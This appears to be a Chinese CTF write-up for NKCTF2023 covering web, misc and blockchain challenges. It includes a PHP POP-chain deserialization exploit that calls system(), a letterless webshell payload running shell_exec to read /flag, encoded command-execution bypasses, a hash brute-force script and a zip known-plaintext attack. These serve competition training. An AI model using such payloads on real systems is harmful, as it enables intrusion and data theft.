[NKCTF2023]web/misc/blockchain-wp

2023-11-13

 总体体验还是不错的,感谢我的二进制队友带我。

WEB

babyphp

Pop链,链子__destruct()->__toString()->__invoke(),最后要绕一个正则匹配,通过dir命令发现flag在/f1ag中,利用剩下没被过滤的通配符进行匹配,exp:

<?php
class Welcome {
    public $name;
    public $arg;
}
 
class Happy {
    public $shell;
    public $cmd;
}
 
class Hell0 {
    public $func;
}

$a = new Welcome;
$a -> name = "welcome_to_NKCTF";
$a -> arg = new Hell0;
$a -> arg -> func = new Happy;
$a -> arg -> func -> shell = 'system';
$a -> arg -> func -> cmd = 'more /[^b]1[^b][^b]';

echo serialize($a);
?>

easyphp

第一层md5弱比较,数组绕过;

第二层sha1强比较且做了强制类型转化,用PDF那个payload绕过;

第三层用浮点数性质绕过,114514.1;

第四层用[被解析后不会解析剩下的符号这一特性绕过,NS[CTF.go;

第五层取反绕过,(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);。

easy_pms

参考http://www.360doc.com/content/12/0121/07/77981587_1066789891.shtml这篇文章,先激活cookie,再rce:

hard_php

经典无字母及部分字符webshell,限制长度105,这里用了之前ctfshow极限rce的一个payload。同时phpinfo发现存在disable_function,但是shell_exec没有被过滤。题目环境不出网,就用了重定向把flag送到1.txt里面再访问即可。Payload:

NKCTF=$_=(_/_._)[_];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;\$\$_[_](\$\$_[__]);&_=shell_exec&__=cat /flag > 1.txt

 

webpagetest

AVD-2022-1474319漏洞,参考文章https://xz.aliyun.com/t/11798#toc-1

借助phpggc程序生成执行id命令的phar文件并发送,一条龙服务就行了

MISC

hard-misc

 签到题,base32+发公众号

NKCTF2023问卷调查 

 

blue

经典取证,flag在回收站:

THMaster 

找东方wiki的修改器,链接寄了,去贴吧找

thprac.v2.2.1.2.exe

进入练习模式前改分,进入

提示解密了,在replay看到了叫flag的记录

看完了没找到,问了一下出题人,在文件里,用010打开,在文件末

三体

 看文件尾发现一半flag,知道flag是按RGB来的,然后就按RGB去搜},就找到另一半flag了。

 

两部分拼接起来就是flag了。

easy_bmp

 宽高题,高就直接改就行了,不要改太高:

宽要根据bmp性质算一下,因为是32位深,所以1589466/4/283=1404,图片可以扔ps里看:

拼起来就是压缩包密码,解压还是一张bmp,这次宽高都要自己算,因为深度是8,所以大小就是分辨率,猜测直接开方,大概是360左右,拿到flag:

easy_rgb 

Montage+gaps拼图得到key解压rgb.rar:

解压出来3个txt文件,按照rgb顺序一位一位取发现是一个压缩包,写脚本提取:

#读取字节
file1 = open("r.txt","rb")
file2 = open("g.txt","rb")
file3 = open("b.txt","rb")

#写入字节
p = open("decode.txt","wb")

data = []

#循环1669次,每次依文件顺序读取
for a in range(149):
	#设定每次往后读取一个字节
    i = file1.read(1)
    data.append(i)
    
    i = file2.read(1)
    data.append(i)
    
    i = file3.read(1)
    data.append(i)

for i in data:
    p.write(i)

 把decode.txt的内容里面的16进制转一下就是压缩包了,aes-128,弱密钥:

easy_word

爆破下密码:

import string
import hashlib
s = 'b75d1224'
chars = string.ascii_letters + string.digits  # 构造字符集
print (chars)
for i in chars:
    for j in chars:
        for k in chars:
            for n in chars:
                psw =  'h' + i + j + 'vO' + k + n + '0'
                sha256 = hashlib.sha256(psw.encode(encoding='utf-8')).hexdigest()
                if s ==sha256[0:8]:
                    print(psw)

 

把到文档里面密码删掉,解压docx文件,发现藏了个图片

经过尝试是cloacked-pixel,key就是图片上的:

first spam of rabbit year

https://www.spammimic.com/decode.shtml解密:

社会主义核心价值观编码:

 与佛论禅https://fy.by950.top/,密码rabbit:

检查这些字符发现零宽:

 结合结尾的tip:47&13,密文是rot47处理,密钥是rot13处理,解rabbit即可

baby_music

看十六进制,发现data很有规律,不是1027就是1127,猜测表示二进制,写脚本提取:

def bytes2hex(bytes):
    num = len(bytes)
    hexstr = u""
    for i in range(num):
        t = u"%x" % bytes[i]
        if len(t) % 2:
            hexstr += u""
        hexstr += t
    return hexstr.upper()

#读取字节
file1 = open("flag.wav","rb")


#写入字节
p = open("flag1.txt","wb")

data = []

for a in range(20000000):
	#设定每次往后读取一个字节
    i = file1.read(2)
    i = bytes2hex(i)
    if i == '1027':
        data.append(b'0')
    elif i == '1127':
        data.append(b'1')
    elif i == '':
        break

for i in data:
    p.write(i)

 提取出来后from bin就是压缩包了。注释是一段摩斯电码,告诉我们密码是16位随机字符,因此肯定没法爆破,但是zip里面是png,且算法符合明文攻击的前提,因此用bkcrack爆破密钥,得到flag.png:

misc?iot! 

由固件名得知开发板型号是STM32F103C8,经典的ARM架构开发板,用IDA选择ARM小端序架构就能反编译出来。

 从start一路跟进找到了关键的加密函数,观察特征猜测是RC4加密。

很容易找到加密数据段和密钥。

Blockchain

SignIn 

划到最下面创建合约那一条,拿到合约内容,hex转字符即可。

HelloWorld 

web3py:

from web3 import Web3, HTTPProvider

w3 = Web3(HTTPProvider('http://blockchain.247533.top:10020'))

assert w3.isConnected()

# create a account
pk = '私钥'
account = w3.eth.account.privateKeyToAccount(pk)

# print(account.address)
abi = '[{"inputs":[{"internalType":"string","name":"_greeting","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"greet","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_greeting","type":"string"}],"name":"setGreeting","outputs":[],"stateMutability":"nonpayable","type":"function"}]'

contract = w3.eth.contract(address='0x781CA0733773aBE77138b00B77B7D8D79aAEd52A', abi=abi)

# build a transaction
tx = contract.functions.setGreeting('Hello,NKCTF2023').buildTransaction({'from': account.address,'nonce': w3.eth.getTransactionCount(account.address),'gas': 1000000,'gasPrice': w3.toWei('1', 'gwei'),})

# sign a transaction
signed_tx = account.signTransaction(tx)

# send a transaction
tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction)

# get transaction receipt to get contract address
tx_receipt = w3.eth.waitForTransactionReceipt(tx_hash)

print(tx_receipt)

decompile_revenge

拿到合约内容,反编译:

这4串sha256用题目给的somd5直接拿下。 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[NKCTF2023]web/misc/blockchain-wp 的相关文章

  • 3个收缩/展开/折叠的js代码

    第一种
  • 心理学的166个现象---之八

    141 同体效应 同体效应也称自己人效应 是指学生把教师归于同一类型的人 是知心朋友 学生对 自己人 的话更信赖 更易于接受 管理心理学中有句名言 如果你想要人们相信你是对的 并按照你的意见行事 那就首先需要人们喜欢你 否则 你的尝试就会失
  • (#########优化器函数########)TensorFlow实现与优化深度神经网络

    反正是要学一些API的 不如直接从例子里面学习怎么使用API 这样同时可以复习一下一些基本的机器学习知识 但是一开始开始和以前一样 先直接讲类和常用函数用法 然后举例子 这里主要是各种优化器 以及使用 因为大多数机器学习任务就是最小化损失
  • AD添加3D模型

    对于为给PCB添加3D模型 很多人觉得这是个绣花针的活 中看不中用 在我看来这也未必 特别是常用的3D模型能在网上下载的今天 只需要几个简单的操作 就能使你的PCB更加赏心悦目 除此之外 3D模型还有以下优点 优化元器件的布局 检查元件焊盘
  • 快速删除系统服务命令 sc delete ServiceName

    快速删除系统服务命令 sc delete ServiceName 要删除名为ServiceName的服务 可以用XP自带服务管理工具 SCP sc exe命令用以下命令即可删除指定的服务 sc delete ServiceName这些命令的
  • 解决httpd: Could not reliably determine the server's fully qualified domain name

    測試系統 mdv2007 service httpd restart 出現下面錯誤 Shutting down httpd OK Starting httpd httpd Could not reliably determine the s
  • 如何测试生成式人工智能(AIGC)

    简介 在人工智能日趋普及的今天 生成式人工智能 AIGC 已经成为不可忽视的一个分支 从自动化生成新闻 编写代码到图像和音频生成 AIGC几乎无处不在 但如何确保这些生成的内容达到预期标准 安全可靠 同时又具有高度的可用性呢 这是一个值得细

随机推荐

  • 使用hyper-V 编译和调试Android13(android-13.0.0_r3)源码

    环境 windows10 hyper V ubuntu20 4 LST 之前写了一篇Andrid9的编译 但是之前是使用的Vmware虚拟机 ubuntu20 4 LST 由于重装系统 Vmware不见了 不想单独装个虚拟机软件 加上现在w
  • matlab读取文件各种方法

    本技术支持指南主要处理 ascii binary and mat files 要得到matlab中可用来读写各种文件格式的完全函数列表 可以键入以下命令 help iofun matlab中有两种文件i o程序 high level and
  • js6语法总结

    Vuex Action的 commit
  • Linux定时任务crontab

    格式要求如下 For details see man 4 crontabs Example of job definition minute 0 59 hour 0 23 day of month 1 31 month 1 12 OR ja
  • IOS 图片转换二进制 二进制转换为图片

    类方法 图片 转换为二进制 NSData Image TransForm Data UIImage image NSData imageData UIImageJPEGRepresentation image 0 5 几乎是按0 5图片大小
  • axure到底好不好学,有哪些技巧

    Axure学习难吗 这个问题一直引起很多朋友的讨论 有的觉得难 有的觉得不难 当然 人不一样 每个人的学习方式也不一样 对学习难度的理解自然也不一样 这个问题自然没有定论 在学习的时候 有很多方法可以帮助我们 有不同的意见 我们需要尽可能多
  • 一份完整的问卷模板_Word制作问卷调查模板表「教你复选框打钩」

    作者易雪龙转自 Word联盟 问卷调查相信大家都有用过吧 就是一些问题 然后下面有几个选项给我们选择 类似这种问卷调查模板 其实用Word也是可以制作出来的 今天 易老师就来教一下大家利用Word来制作一份电子版的调查问卷 效果演示 Wor
  • 模型/视图编程

    模型 视图编程 模型 视图编程 模型 视图 委托 模型 视图编程 Qt中的模型 视图架构用来实现大量的数据存储 处理及显示 MVC Model View Controller 包括了3个组件 模型 Model 是应用对象 用来表示数据 视图
  • Lotus Domino Notes表单,页面,视图,文档,域之间的关系

    1 表单 Form 关系型数据库里的 表设计 关系型数据库中通过表设计来定义这张Table上会有哪些字段 字段的类型以及长度等 然后通过Table来创建符合这个Table定义的记录 Record 通常情况下 Lotus通过表单 Form 来
  • Micropython史上最友好的编辑器,小巧精悍

    Python 因为非常好学 易上手故而广受大众的喜欢 micropython 也因此在物联网单片机领域拥有一席之位 并且 python 有着良好的生态环境 功能亦更加丰富 from machine import Pin p0 Pin 0 P
  • 购物商城---SpringMVC拦截器的使用

    springmvc front xml
  • spring data jpa

    Spring Data是什么 Spring Data是一个用于简化数据库访问 并支持云服务的开源框架 其主要目标是使得对数据的访问变得方便快捷 并支持map reduce框架和云计算数据服务 Spring Data 包含多个子项目 Comm
  • 深度学习中矩阵求导公式整理

    深度学习中矩阵求导公式整理 1 两种布局约定方式 2 矩阵求导的类型 3 标量对标量求导 4 向量对标量求导 5 矩阵对标量求导 6 标量对向量求导 7 向量对向量求导 8 标量对矩阵求导 参考文献 1 两种布局约定方式 布局 Layout
  • 机试算法题-敲击计数器

    题目 设计一个敲击计数器 使它可以统计在过去 5 分钟内被敲击次数 即过去 300 秒 您的系统应该接受一个时间戳参数 timestamp 单位为 秒 并且您可以假定对系统的调用是按时间顺序进行的 即 timestamp 是单调递增的 几次
  • CVPR 2022

    点击下方卡片 关注 CVer 公众号 AI CV重磅干货 第一时间送达 转载自 集智书童 On the Integration of Self Attention and Convolution 论文 https arxiv org abs
  • 回溯算法-----473. 火柴拼正方形&&698. 划分为k个相等的子集

    分享两个回溯算法解决的算法题 和自己以往做这类题目的思路不同 导致这里卡了很久 不得不花几个小时总结一下 火柴拼正方形 首先展示一下自己一开始的回溯算法的解决方式 其实这个也是自己进行了优化之后的 没有优化之前是超时的 public boo
  • 如何导出存储过程、函数、包和触发器的定义语句?如何导出表和索引的创建语句?...

    Oracle中如何导出存储过程 函数 包和触发器的定义语句 如何导出表的结构 如何导出索引的创建语句 QQ群里有人问 如何导出一个用户下的存储过程 麦苗答 方法有多种 可以使用DBMS METADATA GET DDL包 使用PL SQL
  • Java实现质数筛的三种方法

    今天在做一个算法题的时候遇到一个需要求质数的情况 但是本人比较菜只会暴力做法 所以在此记录学习一下质数筛选除了暴力以外的其它做法 注意 一个大于1的自然数 除了1和它自身外 不能被其他自然数整除的数叫做质数 题目 暴力做法 直接根据定义写一
  • docker stats 命令详解

    docker stats 显示容器资源的使用情况 包括 CPU 内存 网络 I O 等 docker stats OPTIONS CONTAINER OPTIONS 说明 all a 显示所有的容器 包括未运行的 format 指定返回值的
  • [NKCTF2023]web/misc/blockchain-wp

    总体体验还是不错的 感谢我的二进制队友带我 WEB babyphp Pop链 链子 destruct gt toString gt invoke 最后要绕一个正则匹配 通过dir命令发现flag在 f1ag中 利用剩下没被过滤的通配符进行匹